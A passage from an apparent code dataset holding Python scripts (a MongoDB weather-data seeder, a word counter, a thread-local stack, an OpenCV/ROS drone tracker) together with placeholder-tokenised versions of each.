(2020-12-01 to 2020-12-05\r\n# For each device and day, it creates random values for each hour (at the 30 minute mark) and stores the data\r\n\r\n#Created a list to populate it with device id and timestamp\r\ndevdaylist = []\r\nwith open(RELATIVE_CONFIG_PATH+DEVICE_COLLECTION+'.csv', 'r') as device_fh:\r\n for device_row in device_fh:\r\n device_row = device_row.rstrip()\r\n if device_row:\r\n # _ can be used to ignore values that are not needed\r\n (device_id, _, type, _) = device_row.split(',')\r\n for day in range(1,6):\r\n #creating and appending data to the list\r\n day1 = datetime(2020, 12, day)\r\n devdaylist.append((device_id, day1))\r\n for hour in range(0,24):\r\n timestamp = datetime(2020, 12, day, hour, 30, 0)\r\n # Generates random data value in appropriate range as per the type of sensor (normal bell-curve distribution)\r\n if (type.lower() == 'temperature'):\r\n value = int(random.normalvariate(24,2.2))\r\n elif (type.lower() == 'humidity'):\r\n value = int(random.normalvariate(45,3))\r\n weather_data = {'device_id': device_id, 'value': value, 'timestamp': timestamp}\r\n weather_data_collection = weather_dbh[WEATHER_DATA_COLLECTION]\r\n \r\n # This inserts the data item as a document in the weather_data collection\r\n weather_data_collection.insert_one(weather_data)\r\n \r\n\r\n\r\n#Populating the data to daily_report_model collection on setup\r\ndrm = DailyReportModel()\r\nfor ddy in devdaylist:\r\n drm.insert_daily_report_to_daily_report_model(ddy[0], ddy[1], 'admin')\r\n \r\n ", "import random\nfrom pymongo import MongoClient\nfrom datetime import datetime\nfrom model import DailyReportModel\nHOST = '127.0.0.1'\nPORT = '27017'\nRELATIVE_CONFIG_PATH = '../config/'\nDB_NAME = 'weather_db'\nUSER_COLLECTION = 'users'\nDEVICE_COLLECTION = 'devices'\nWEATHER_DATA_COLLECTION = 'weather_data'\nDAILY_REPORT_MODEL = 'daily_report_model'\ndb_handle = MongoClient(f'mongodb://{HOST}:{PORT}')\ndb_handle.drop_database(DB_NAME)\nweather_dbh = db_handle[DB_NAME]\nwith open(RELATIVE_CONFIG_PATH + USER_COLLECTION + '.csv', 'r') as user_fh:\n for user_row in user_fh:\n user_row = user_row.rstrip()\n if user_row:\n username, email, role = user_row.split(',')\n user_data = {'username': username, 'email': email, 'role': role}\n user_collection = weather_dbh[USER_COLLECTION]\n user_collection.insert_one(user_data)\nwith open(RELATIVE_CONFIG_PATH + DEVICE_COLLECTION + '.csv', 'r') as device_fh:\n for device_row in device_fh:\n device_row = device_row.rstrip()\n if device_row:\n device_id, desc, type, manufacturer = device_row.split(',')\n device_data = {'device_id': device_id, 'desc': desc, 'type': type,\n 'manufacturer': manufacturer}\n device_collection = weather_dbh[DEVICE_COLLECTION]\n device_collection.insert_one(device_data)\ndevdaylist = []\nwith open(RELATIVE_CONFIG_PATH + DEVICE_COLLECTION + '.csv', 'r') as device_fh:\n for device_row in device_fh:\n device_row = device_row.rstrip()\n if device_row:\n device_id, _, type, _ = device_row.split(',')\n for day in range(1, 6):\n day1 = datetime(2020, 12, day)\n devdaylist.append((device_id, day1))\n for hour in range(0, 24):\n timestamp = datetime(2020, 12, day, hour, 30, 0)\n if type.lower() == 'temperature':\n value = int(random.normalvariate(24, 2.2))\n elif type.lower() == 'humidity':\n value = int(random.normalvariate(45, 3))\n weather_data = {'device_id': device_id, 'value': value,\n 'timestamp': timestamp}\n weather_data_collection = weather_dbh[WEATHER_DATA_COLLECTION]\n weather_data_collection.insert_one(weather_data)\ndrm = DailyReportModel()\nfor ddy in devdaylist:\n drm.insert_daily_report_to_daily_report_model(ddy[0], ddy[1], 'admin')\n", "<import token>\nHOST = '127.0.0.1'\nPORT = '27017'\nRELATIVE_CONFIG_PATH = '../config/'\nDB_NAME = 'weather_db'\nUSER_COLLECTION = 'users'\nDEVICE_COLLECTION = 'devices'\nWEATHER_DATA_COLLECTION = 'weather_data'\nDAILY_REPORT_MODEL = 'daily_report_model'\ndb_handle = MongoClient(f'mongodb://{HOST}:{PORT}')\ndb_handle.drop_database(DB_NAME)\nweather_dbh = db_handle[DB_NAME]\nwith open(RELATIVE_CONFIG_PATH + USER_COLLECTION + '.csv', 'r') as user_fh:\n for user_row in user_fh:\n user_row = user_row.rstrip()\n if user_row:\n username, email, role = user_row.split(',')\n user_data = {'username': username, 'email': email, 'role': role}\n user_collection = weather_dbh[USER_COLLECTION]\n user_collection.insert_one(user_data)\nwith open(RELATIVE_CONFIG_PATH + DEVICE_COLLECTION + '.csv', 'r') as device_fh:\n for device_row in device_fh:\n device_row = device_row.rstrip()\n if device_row:\n device_id, desc, type, manufacturer = device_row.split(',')\n device_data = {'device_id': device_id, 'desc': desc, 'type': type,\n 'manufacturer': manufacturer}\n device_collection = weather_dbh[DEVICE_COLLECTION]\n device_collection.insert_one(device_data)\ndevdaylist = []\nwith open(RELATIVE_CONFIG_PATH + DEVICE_COLLECTION + '.csv', 'r') as device_fh:\n for device_row in device_fh:\n device_row = device_row.rstrip()\n if device_row:\n device_id, _, type, _ = device_row.split(',')\n for day in range(1, 6):\n day1 = datetime(2020, 12, day)\n devdaylist.append((device_id, day1))\n for hour in range(0, 24):\n timestamp = datetime(2020, 12, day, hour, 30, 0)\n if type.lower() == 'temperature':\n value = int(random.normalvariate(24, 2.2))\n elif type.lower() == 'humidity':\n value = int(random.normalvariate(45, 3))\n weather_data = {'device_id': device_id, 'value': value,\n 'timestamp': timestamp}\n weather_data_collection = weather_dbh[WEATHER_DATA_COLLECTION]\n weather_data_collection.insert_one(weather_data)\ndrm = DailyReportModel()\nfor ddy in devdaylist:\n drm.insert_daily_report_to_daily_report_model(ddy[0], ddy[1], 'admin')\n", "<import token>\n<assignment token>\ndb_handle.drop_database(DB_NAME)\n<assignment token>\nwith open(RELATIVE_CONFIG_PATH + USER_COLLECTION + '.csv', 'r') as user_fh:\n for user_row in user_fh:\n user_row = user_row.rstrip()\n if user_row:\n username, email, role = user_row.split(',')\n user_data = {'username': username, 'email': email, 'role': role}\n user_collection = weather_dbh[USER_COLLECTION]\n user_collection.insert_one(user_data)\nwith open(RELATIVE_CONFIG_PATH + DEVICE_COLLECTION + '.csv', 'r') as device_fh:\n for device_row in device_fh:\n device_row = device_row.rstrip()\n if device_row:\n device_id, desc, type, manufacturer = device_row.split(',')\n device_data = {'device_id': device_id, 'desc': desc, 'type': type,\n 'manufacturer': manufacturer}\n device_collection = weather_dbh[DEVICE_COLLECTION]\n device_collection.insert_one(device_data)\n<assignment token>\nwith open(RELATIVE_CONFIG_PATH + DEVICE_COLLECTION + '.csv', 'r') as device_fh:\n for device_row in device_fh:\n device_row = device_row.rstrip()\n if device_row:\n device_id, _, type, _ = device_row.split(',')\n for day in range(1, 6):\n day1 = datetime(2020, 12, day)\n devdaylist.append((device_id, day1))\n for hour in range(0, 24):\n timestamp = datetime(2020, 12, day, hour, 30, 0)\n if type.lower() == 'temperature':\n value = int(random.normalvariate(24, 2.2))\n elif type.lower() == 'humidity':\n value = int(random.normalvariate(45, 3))\n weather_data = {'device_id': device_id, 'value': value,\n 'timestamp': timestamp}\n weather_data_collection = weather_dbh[WEATHER_DATA_COLLECTION]\n weather_data_collection.insert_one(weather_data)\n<assignment token>\nfor ddy in devdaylist:\n drm.insert_daily_report_to_daily_report_model(ddy[0], ddy[1], 'admin')\n", "<import token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n" ]
false
460
8cd582915c5abd96a4ef8a3a5309311f2a73a156
with open("file.txt", 'r') as fh: data = fh.readline() lis= data.split(' ') my_dict={} for key in lis: if key in my_dict.keys(): my_dict[key] += 1 else: my_dict[key] = 1 print(my_dict)
[ "\n\nwith open(\"file.txt\", 'r') as fh:\n data = fh.readline()\n\nlis= data.split(' ')\nmy_dict={}\n\nfor key in lis:\n if key in my_dict.keys():\n my_dict[key] += 1\n else:\n my_dict[key] = 1\n\nprint(my_dict)\n", "with open('file.txt', 'r') as fh:\n data = fh.readline()\nlis = data.split(' ')\nmy_dict = {}\nfor key in lis:\n if key in my_dict.keys():\n my_dict[key] += 1\n else:\n my_dict[key] = 1\nprint(my_dict)\n", "with open('file.txt', 'r') as fh:\n data = fh.readline()\n<assignment token>\nfor key in lis:\n if key in my_dict.keys():\n my_dict[key] += 1\n else:\n my_dict[key] = 1\nprint(my_dict)\n", "<code token>\n<assignment token>\n<code token>\n" ]
false
461
f55b286448f114f3823f099a576af7bec1780a8c
# -*- coding: utf-8 -*- try: from greenlet import getcurrent as get_current_greenlet except ImportError: get_current_greenlet = int from thread import get_ident as get_current_thread from threading import Lock if get_current_greenlet is int: # Use thread get_ident = get_current_thread else: # Use greenlet get_ident = lambda: (get_current_thread(), get_current_greenlet()) class Local(object): __slots__ = ('__data__', '__lock__') def __init__(self): object.__setattr__(self, '__data__', {}) object.__setattr__(self, '__lock__', Lock()) def __iter__(self): return self.__data__.iteritems() def __getattr__(self, item): self.__lock__.acquire() try: try: return self.__data__[get_ident()][item] except KeyError: raise AttributeError(item) finally: self.__lock__.release() def __setattr__(self, key, value): self.__lock__.acquire() try: _id = get_ident() data = self.__data__ if _id in data: data[_id][key] = value else: data[_id] = {key: value} finally: self.__lock__.release() def __delattr__(self, item): self.__lock__.acquire() try: try: del self.__data__[get_ident()][item] except KeyError: raise AttributeError(item) finally: self.__lock__.release() def __release__(self): self.__data__.pop(get_ident(), None) class LocalStack(object): def __init__(self): self._local = Local() self._lock = Lock() def push(self, obj): self._lock.acquire() try: rv = getattr(self._local, 'stack', None) if rv is None: self._local.stack = rv = [] rv.append(obj) return rv finally: self._lock.release() def pop(self): self._lock.acquire() try: stack = getattr(self._local, 'stack', None) if stack is None: return None elif len(stack) == 1: self._local.__release__() return stack[-1] else: stack.pop() finally: self._lock.release() @property def top(self): try: return self._local.stack[-1] except (AttributeError, IndexError): return None
[ "# -*- coding: utf-8 -*-\ntry:\n from greenlet import getcurrent as get_current_greenlet\nexcept ImportError:\n get_current_greenlet = int\n\nfrom thread import get_ident as get_current_thread\nfrom threading import Lock\n\n\nif get_current_greenlet is int: # Use thread\n get_ident = get_current_thread\nelse: # Use greenlet\n get_ident = lambda: (get_current_thread(), get_current_greenlet())\n\n\nclass Local(object):\n __slots__ = ('__data__', '__lock__')\n\n def __init__(self):\n object.__setattr__(self, '__data__', {})\n object.__setattr__(self, '__lock__', Lock())\n\n def __iter__(self):\n return self.__data__.iteritems()\n\n def __getattr__(self, item):\n self.__lock__.acquire()\n try:\n try:\n return self.__data__[get_ident()][item]\n except KeyError:\n raise AttributeError(item)\n finally:\n self.__lock__.release()\n\n def __setattr__(self, key, value):\n self.__lock__.acquire()\n try:\n _id = get_ident()\n data = self.__data__\n if _id in data:\n data[_id][key] = value\n else:\n data[_id] = {key: value}\n finally:\n self.__lock__.release()\n\n def __delattr__(self, item):\n self.__lock__.acquire()\n try:\n try:\n del self.__data__[get_ident()][item]\n except KeyError:\n raise AttributeError(item)\n finally:\n self.__lock__.release()\n\n def __release__(self):\n self.__data__.pop(get_ident(), None)\n\n\nclass LocalStack(object):\n\n def __init__(self):\n self._local = Local()\n self._lock = Lock()\n\n def push(self, obj):\n self._lock.acquire()\n try:\n rv = getattr(self._local, 'stack', None)\n if rv is None:\n self._local.stack = rv = []\n rv.append(obj)\n return rv\n finally:\n self._lock.release()\n\n def pop(self):\n self._lock.acquire()\n try:\n stack = getattr(self._local, 'stack', None)\n if stack is None:\n return None\n elif len(stack) == 1:\n self._local.__release__()\n return stack[-1]\n else:\n stack.pop()\n finally:\n self._lock.release()\n\n @property\n def top(self):\n try:\n return self._local.stack[-1]\n except (AttributeError, IndexError):\n return None\n", "try:\n from greenlet import getcurrent as get_current_greenlet\nexcept ImportError:\n get_current_greenlet = int\nfrom thread import get_ident as get_current_thread\nfrom threading import Lock\nif get_current_greenlet is int:\n get_ident = get_current_thread\nelse:\n get_ident = lambda : (get_current_thread(), get_current_greenlet())\n\n\nclass Local(object):\n __slots__ = '__data__', '__lock__'\n\n def __init__(self):\n object.__setattr__(self, '__data__', {})\n object.__setattr__(self, '__lock__', Lock())\n\n def __iter__(self):\n return self.__data__.iteritems()\n\n def __getattr__(self, item):\n self.__lock__.acquire()\n try:\n try:\n return self.__data__[get_ident()][item]\n except KeyError:\n raise AttributeError(item)\n finally:\n self.__lock__.release()\n\n def __setattr__(self, key, value):\n self.__lock__.acquire()\n try:\n _id = get_ident()\n data = self.__data__\n if _id in data:\n data[_id][key] = value\n else:\n data[_id] = {key: value}\n finally:\n self.__lock__.release()\n\n def __delattr__(self, item):\n self.__lock__.acquire()\n try:\n try:\n del self.__data__[get_ident()][item]\n except KeyError:\n raise AttributeError(item)\n finally:\n self.__lock__.release()\n\n def __release__(self):\n self.__data__.pop(get_ident(), None)\n\n\nclass LocalStack(object):\n\n def __init__(self):\n self._local = Local()\n self._lock = Lock()\n\n def push(self, obj):\n self._lock.acquire()\n try:\n rv = getattr(self._local, 'stack', None)\n if rv is None:\n self._local.stack = rv = []\n rv.append(obj)\n return rv\n finally:\n self._lock.release()\n\n def pop(self):\n self._lock.acquire()\n try:\n stack = getattr(self._local, 'stack', None)\n if stack is None:\n return None\n elif len(stack) == 1:\n self._local.__release__()\n return stack[-1]\n else:\n stack.pop()\n finally:\n self._lock.release()\n\n @property\n def top(self):\n try:\n return self._local.stack[-1]\n except (AttributeError, IndexError):\n return None\n", "try:\n from greenlet import getcurrent as get_current_greenlet\nexcept ImportError:\n get_current_greenlet = int\n<import token>\nif get_current_greenlet is int:\n get_ident = get_current_thread\nelse:\n get_ident = lambda : (get_current_thread(), get_current_greenlet())\n\n\nclass Local(object):\n __slots__ = '__data__', '__lock__'\n\n def __init__(self):\n object.__setattr__(self, '__data__', {})\n object.__setattr__(self, '__lock__', Lock())\n\n def __iter__(self):\n return self.__data__.iteritems()\n\n def __getattr__(self, item):\n self.__lock__.acquire()\n try:\n try:\n return self.__data__[get_ident()][item]\n except KeyError:\n raise AttributeError(item)\n finally:\n self.__lock__.release()\n\n def __setattr__(self, key, value):\n self.__lock__.acquire()\n try:\n _id = get_ident()\n data = self.__data__\n if _id in data:\n data[_id][key] = value\n else:\n data[_id] = {key: value}\n finally:\n self.__lock__.release()\n\n def __delattr__(self, item):\n self.__lock__.acquire()\n try:\n try:\n del self.__data__[get_ident()][item]\n except KeyError:\n raise AttributeError(item)\n finally:\n self.__lock__.release()\n\n def __release__(self):\n self.__data__.pop(get_ident(), None)\n\n\nclass LocalStack(object):\n\n def __init__(self):\n self._local = Local()\n self._lock = Lock()\n\n def push(self, obj):\n self._lock.acquire()\n try:\n rv = getattr(self._local, 'stack', None)\n if rv is None:\n self._local.stack = rv = []\n rv.append(obj)\n return rv\n finally:\n self._lock.release()\n\n def pop(self):\n self._lock.acquire()\n try:\n stack = getattr(self._local, 'stack', None)\n if stack is None:\n return None\n elif len(stack) == 1:\n self._local.__release__()\n return stack[-1]\n else:\n stack.pop()\n finally:\n self._lock.release()\n\n @property\n def top(self):\n try:\n return self._local.stack[-1]\n except (AttributeError, IndexError):\n return None\n", "<code token>\n<import token>\n<code token>\n\n\nclass Local(object):\n __slots__ = '__data__', '__lock__'\n\n def __init__(self):\n object.__setattr__(self, '__data__', {})\n object.__setattr__(self, '__lock__', Lock())\n\n def __iter__(self):\n return self.__data__.iteritems()\n\n def __getattr__(self, item):\n self.__lock__.acquire()\n try:\n try:\n return self.__data__[get_ident()][item]\n except KeyError:\n raise AttributeError(item)\n finally:\n self.__lock__.release()\n\n def __setattr__(self, key, value):\n self.__lock__.acquire()\n try:\n _id = get_ident()\n data = self.__data__\n if _id in data:\n data[_id][key] = value\n else:\n data[_id] = {key: value}\n finally:\n self.__lock__.release()\n\n def __delattr__(self, item):\n self.__lock__.acquire()\n try:\n try:\n del self.__data__[get_ident()][item]\n except KeyError:\n raise AttributeError(item)\n finally:\n self.__lock__.release()\n\n def __release__(self):\n self.__data__.pop(get_ident(), None)\n\n\nclass LocalStack(object):\n\n def __init__(self):\n self._local = Local()\n self._lock = Lock()\n\n def push(self, obj):\n self._lock.acquire()\n try:\n rv = getattr(self._local, 'stack', None)\n if rv is None:\n self._local.stack = rv = []\n rv.append(obj)\n return rv\n finally:\n self._lock.release()\n\n def pop(self):\n self._lock.acquire()\n try:\n stack = getattr(self._local, 'stack', None)\n if stack is None:\n return None\n elif len(stack) == 1:\n self._local.__release__()\n return stack[-1]\n else:\n stack.pop()\n finally:\n self._lock.release()\n\n @property\n def top(self):\n try:\n return self._local.stack[-1]\n except (AttributeError, IndexError):\n return None\n", "<code token>\n<import token>\n<code token>\n\n\nclass Local(object):\n <assignment token>\n\n def __init__(self):\n object.__setattr__(self, '__data__', {})\n object.__setattr__(self, '__lock__', Lock())\n\n def __iter__(self):\n return self.__data__.iteritems()\n\n def __getattr__(self, item):\n self.__lock__.acquire()\n try:\n try:\n return self.__data__[get_ident()][item]\n except KeyError:\n raise AttributeError(item)\n finally:\n self.__lock__.release()\n\n def __setattr__(self, key, value):\n self.__lock__.acquire()\n try:\n _id = get_ident()\n data = self.__data__\n if _id in data:\n data[_id][key] = value\n else:\n data[_id] = {key: value}\n finally:\n self.__lock__.release()\n\n def __delattr__(self, item):\n self.__lock__.acquire()\n try:\n try:\n del self.__data__[get_ident()][item]\n except KeyError:\n raise AttributeError(item)\n finally:\n self.__lock__.release()\n\n def __release__(self):\n self.__data__.pop(get_ident(), None)\n\n\nclass LocalStack(object):\n\n def __init__(self):\n self._local = Local()\n self._lock = Lock()\n\n def push(self, obj):\n self._lock.acquire()\n try:\n rv = getattr(self._local, 'stack', None)\n if rv is None:\n self._local.stack = rv = []\n rv.append(obj)\n return rv\n finally:\n self._lock.release()\n\n def pop(self):\n self._lock.acquire()\n try:\n stack = getattr(self._local, 'stack', None)\n if stack is None:\n return None\n elif len(stack) == 1:\n self._local.__release__()\n return stack[-1]\n else:\n stack.pop()\n finally:\n self._lock.release()\n\n @property\n def top(self):\n try:\n return self._local.stack[-1]\n except (AttributeError, IndexError):\n return None\n", "<code token>\n<import token>\n<code token>\n\n\nclass Local(object):\n <assignment token>\n\n def __init__(self):\n object.__setattr__(self, '__data__', {})\n object.__setattr__(self, '__lock__', Lock())\n\n def __iter__(self):\n return self.__data__.iteritems()\n\n def __getattr__(self, item):\n self.__lock__.acquire()\n try:\n try:\n return self.__data__[get_ident()][item]\n except KeyError:\n raise AttributeError(item)\n finally:\n self.__lock__.release()\n <function token>\n\n def __delattr__(self, item):\n self.__lock__.acquire()\n try:\n try:\n del self.__data__[get_ident()][item]\n except KeyError:\n raise AttributeError(item)\n finally:\n self.__lock__.release()\n\n def __release__(self):\n self.__data__.pop(get_ident(), None)\n\n\nclass LocalStack(object):\n\n def __init__(self):\n self._local = Local()\n self._lock = Lock()\n\n def push(self, obj):\n self._lock.acquire()\n try:\n rv = getattr(self._local, 'stack', None)\n if rv is None:\n self._local.stack = rv = []\n rv.append(obj)\n return rv\n finally:\n self._lock.release()\n\n def pop(self):\n self._lock.acquire()\n try:\n stack = getattr(self._local, 'stack', None)\n if stack is None:\n return None\n elif len(stack) == 1:\n self._local.__release__()\n return stack[-1]\n else:\n stack.pop()\n finally:\n self._lock.release()\n\n @property\n def top(self):\n try:\n return self._local.stack[-1]\n except (AttributeError, IndexError):\n return None\n", "<code token>\n<import token>\n<code token>\n\n\nclass Local(object):\n <assignment token>\n\n def __init__(self):\n object.__setattr__(self, '__data__', {})\n object.__setattr__(self, '__lock__', Lock())\n\n def __iter__(self):\n return self.__data__.iteritems()\n\n def __getattr__(self, item):\n self.__lock__.acquire()\n try:\n try:\n return self.__data__[get_ident()][item]\n except KeyError:\n raise AttributeError(item)\n finally:\n self.__lock__.release()\n <function token>\n <function token>\n\n def __release__(self):\n self.__data__.pop(get_ident(), None)\n\n\nclass LocalStack(object):\n\n def __init__(self):\n self._local = Local()\n self._lock = Lock()\n\n def push(self, obj):\n self._lock.acquire()\n try:\n rv = getattr(self._local, 'stack', None)\n if rv is None:\n self._local.stack = rv = []\n rv.append(obj)\n return rv\n finally:\n self._lock.release()\n\n def pop(self):\n self._lock.acquire()\n try:\n stack = getattr(self._local, 'stack', None)\n if stack is None:\n return None\n elif len(stack) == 1:\n self._local.__release__()\n return stack[-1]\n else:\n stack.pop()\n finally:\n self._lock.release()\n\n @property\n def top(self):\n try:\n return self._local.stack[-1]\n except (AttributeError, IndexError):\n return None\n", "<code token>\n<import token>\n<code token>\n\n\nclass Local(object):\n <assignment token>\n\n def __init__(self):\n object.__setattr__(self, '__data__', {})\n object.__setattr__(self, '__lock__', Lock())\n\n def __iter__(self):\n return self.__data__.iteritems()\n <function token>\n <function token>\n <function token>\n\n def __release__(self):\n self.__data__.pop(get_ident(), None)\n\n\nclass LocalStack(object):\n\n def __init__(self):\n self._local = Local()\n self._lock = Lock()\n\n def push(self, obj):\n self._lock.acquire()\n try:\n rv = getattr(self._local, 'stack', None)\n if rv is None:\n self._local.stack = rv = []\n rv.append(obj)\n return rv\n finally:\n self._lock.release()\n\n def pop(self):\n self._lock.acquire()\n try:\n stack = getattr(self._local, 'stack', None)\n if stack is None:\n return None\n elif len(stack) == 1:\n self._local.__release__()\n return stack[-1]\n else:\n stack.pop()\n finally:\n self._lock.release()\n\n @property\n def top(self):\n try:\n return self._local.stack[-1]\n except (AttributeError, IndexError):\n return None\n", "<code token>\n<import token>\n<code token>\n\n\nclass Local(object):\n <assignment token>\n\n def __init__(self):\n object.__setattr__(self, '__data__', {})\n object.__setattr__(self, '__lock__', Lock())\n\n def __iter__(self):\n return self.__data__.iteritems()\n <function token>\n <function token>\n <function token>\n <function token>\n\n\nclass LocalStack(object):\n\n def __init__(self):\n self._local = Local()\n self._lock = Lock()\n\n def push(self, obj):\n self._lock.acquire()\n try:\n rv = getattr(self._local, 'stack', None)\n if rv is None:\n self._local.stack = rv = []\n rv.append(obj)\n return rv\n finally:\n self._lock.release()\n\n def pop(self):\n self._lock.acquire()\n try:\n stack = getattr(self._local, 'stack', None)\n if stack is None:\n return None\n elif len(stack) == 1:\n self._local.__release__()\n return stack[-1]\n else:\n stack.pop()\n finally:\n self._lock.release()\n\n @property\n def top(self):\n try:\n return self._local.stack[-1]\n except (AttributeError, IndexError):\n return None\n", "<code token>\n<import token>\n<code token>\n\n\nclass Local(object):\n <assignment token>\n <function token>\n\n def __iter__(self):\n return self.__data__.iteritems()\n <function token>\n <function token>\n <function token>\n <function token>\n\n\nclass LocalStack(object):\n\n def __init__(self):\n self._local = Local()\n self._lock = Lock()\n\n def push(self, obj):\n self._lock.acquire()\n try:\n rv = getattr(self._local, 'stack', None)\n if rv is None:\n self._local.stack = rv = []\n rv.append(obj)\n return rv\n finally:\n self._lock.release()\n\n def pop(self):\n self._lock.acquire()\n try:\n stack = getattr(self._local, 'stack', None)\n if stack is None:\n return None\n elif len(stack) == 1:\n self._local.__release__()\n return stack[-1]\n else:\n stack.pop()\n finally:\n self._lock.release()\n\n @property\n def top(self):\n try:\n return self._local.stack[-1]\n except (AttributeError, IndexError):\n return None\n", "<code token>\n<import token>\n<code token>\n\n\nclass Local(object):\n <assignment token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n\nclass LocalStack(object):\n\n def __init__(self):\n self._local = Local()\n self._lock = Lock()\n\n def push(self, obj):\n self._lock.acquire()\n try:\n rv = getattr(self._local, 'stack', None)\n if rv is None:\n self._local.stack = rv = []\n rv.append(obj)\n return rv\n finally:\n self._lock.release()\n\n def pop(self):\n self._lock.acquire()\n try:\n stack = getattr(self._local, 'stack', None)\n if stack is None:\n return None\n elif len(stack) == 1:\n self._local.__release__()\n return stack[-1]\n else:\n stack.pop()\n finally:\n self._lock.release()\n\n @property\n def top(self):\n try:\n return self._local.stack[-1]\n except (AttributeError, IndexError):\n return None\n", "<code token>\n<import token>\n<code token>\n<class token>\n\n\nclass LocalStack(object):\n\n def __init__(self):\n self._local = Local()\n self._lock = Lock()\n\n def push(self, obj):\n self._lock.acquire()\n try:\n rv = getattr(self._local, 'stack', None)\n if rv is None:\n self._local.stack = rv = []\n rv.append(obj)\n return rv\n finally:\n self._lock.release()\n\n def pop(self):\n self._lock.acquire()\n try:\n stack = getattr(self._local, 'stack', None)\n if stack is None:\n return None\n elif len(stack) == 1:\n self._local.__release__()\n return stack[-1]\n else:\n stack.pop()\n finally:\n self._lock.release()\n\n @property\n def top(self):\n try:\n return self._local.stack[-1]\n except (AttributeError, IndexError):\n return None\n", "<code token>\n<import token>\n<code token>\n<class token>\n\n\nclass LocalStack(object):\n\n def __init__(self):\n self._local = Local()\n self._lock = Lock()\n\n def push(self, obj):\n self._lock.acquire()\n try:\n rv = getattr(self._local, 'stack', None)\n if rv is None:\n self._local.stack = rv = []\n rv.append(obj)\n return rv\n finally:\n self._lock.release()\n\n def pop(self):\n self._lock.acquire()\n try:\n stack = getattr(self._local, 'stack', None)\n if stack is None:\n return None\n elif len(stack) == 1:\n self._local.__release__()\n return stack[-1]\n else:\n stack.pop()\n finally:\n self._lock.release()\n <function token>\n", "<code token>\n<import token>\n<code token>\n<class token>\n\n\nclass LocalStack(object):\n\n def __init__(self):\n self._local = Local()\n self._lock = Lock()\n <function token>\n\n def pop(self):\n self._lock.acquire()\n try:\n stack = getattr(self._local, 'stack', None)\n if stack is None:\n return None\n elif len(stack) == 1:\n self._local.__release__()\n return stack[-1]\n else:\n stack.pop()\n finally:\n self._lock.release()\n <function token>\n", "<code token>\n<import token>\n<code token>\n<class token>\n\n\nclass LocalStack(object):\n\n def __init__(self):\n self._local = Local()\n self._lock = Lock()\n <function token>\n <function token>\n <function token>\n", "<code token>\n<import token>\n<code token>\n<class token>\n\n\nclass LocalStack(object):\n <function token>\n <function token>\n <function token>\n <function token>\n", "<code token>\n<import token>\n<code token>\n<class token>\n<class token>\n" ]
false
462
e864dad3f46fc9c6c472823bd06ce74fb5cb3f41
#!/usr/bin/env python import rospy import cv2 import numpy as np from cv_bridge import CvBridge from matplotlib import pyplot as plt from sensor_msgs.msg import Image from drone_app_msgs.msg import BBox, Drone, DroneArray from rospy.numpy_msg import numpy_msg # --------------------------------------- # This is an implementation of a simple CV # algorithm that can be used for testing # --- Global variables initialization --- pub = None # --------------------------------------- def processFrame(image_message): # --- Convert from ROS to OpenCV frame = CvBridge().imgmsg_to_cv2(image_message) # --- Threshold the image and find a mask frame_hsv = cv2.cvtColor(frame, cv2.COLOR_BGR2HSV) mask = cv2.inRange(frame_hsv, (0, 0, 0, 0), (180, 255, 30, 0)) mask = cv2.dilate(mask, None, iterations=1) # --- Find contours in the mask and initialize the current cnts = cv2.findContours(mask.copy(), cv2.RETR_EXTERNAL,cv2.CHAIN_APPROX_SIMPLE)[-2] center = None c = max(cnts, key=cv2.contourArea) x,y,w,h = cv2.boundingRect(c) # --- Pack in the message msg = DroneArray() drone = Drone() drone.id = -1 drone.name = 'parrot_bebop2' drone.box.t.linear.x = x * 100 / 640 drone.box.t.linear.y = y * 100 / 480 drone.box.w = w * 100 / 640 drone.box.h = h * 100 / 480 msg.drones.append(drone) pub.publish(msg) if __name__ == '__main__' : # --- Topics rospy.init_node('gazeboTracking', anonymous=True) rospy.Subscriber('camera_img', Image, processFrame) pub = rospy.Publisher('fixed_drones', DroneArray, queue_size=10) rospy.spin()
[ "#!/usr/bin/env python\nimport rospy\nimport cv2\nimport numpy as np\nfrom cv_bridge import CvBridge\nfrom matplotlib import pyplot as plt\nfrom sensor_msgs.msg import Image\nfrom drone_app_msgs.msg import BBox, Drone, DroneArray\nfrom rospy.numpy_msg import numpy_msg\n\n# ---------------------------------------\n# This is an implementation of a simple CV\n# algorithm that can be used for testing\n# --- Global variables initialization ---\npub = None\n# ---------------------------------------\n\ndef processFrame(image_message):\n # --- Convert from ROS to OpenCV\n frame = CvBridge().imgmsg_to_cv2(image_message)\n\n # --- Threshold the image and find a mask\n frame_hsv = cv2.cvtColor(frame, cv2.COLOR_BGR2HSV)\n mask = cv2.inRange(frame_hsv, (0, 0, 0, 0), (180, 255, 30, 0))\n mask = cv2.dilate(mask, None, iterations=1)\n\n # --- Find contours in the mask and initialize the current\n cnts = cv2.findContours(mask.copy(), cv2.RETR_EXTERNAL,cv2.CHAIN_APPROX_SIMPLE)[-2]\n center = None\n c = max(cnts, key=cv2.contourArea)\n x,y,w,h = cv2.boundingRect(c)\n\n # --- Pack in the message\n msg = DroneArray()\n drone = Drone()\n\n drone.id = -1\n drone.name = 'parrot_bebop2'\n drone.box.t.linear.x = x * 100 / 640\n drone.box.t.linear.y = y * 100 / 480\n drone.box.w = w * 100 / 640\n drone.box.h = h * 100 / 480\n\n msg.drones.append(drone)\n pub.publish(msg)\n\nif __name__ == '__main__' :\n # --- Topics\n rospy.init_node('gazeboTracking', anonymous=True)\n rospy.Subscriber('camera_img', Image, processFrame)\n pub = rospy.Publisher('fixed_drones', DroneArray, queue_size=10)\n \n rospy.spin()\n", "import rospy\nimport cv2\nimport numpy as np\nfrom cv_bridge import CvBridge\nfrom matplotlib import pyplot as plt\nfrom sensor_msgs.msg import Image\nfrom drone_app_msgs.msg import BBox, Drone, DroneArray\nfrom rospy.numpy_msg import numpy_msg\npub = None\n\n\ndef processFrame(image_message):\n frame = CvBridge().imgmsg_to_cv2(image_message)\n frame_hsv = cv2.cvtColor(frame, cv2.COLOR_BGR2HSV)\n mask = cv2.inRange(frame_hsv, (0, 0, 0, 0), (180, 255, 30, 0))\n mask = cv2.dilate(mask, None, iterations=1)\n cnts = cv2.findContours(mask.copy(), cv2.RETR_EXTERNAL, cv2.\n CHAIN_APPROX_SIMPLE)[-2]\n center = None\n c = max(cnts, key=cv2.contourArea)\n x, y, w, h = cv2.boundingRect(c)\n msg = DroneArray()\n drone = Drone()\n drone.id = -1\n drone.name = 'parrot_bebop2'\n drone.box.t.linear.x = x * 100 / 640\n drone.box.t.linear.y = y * 100 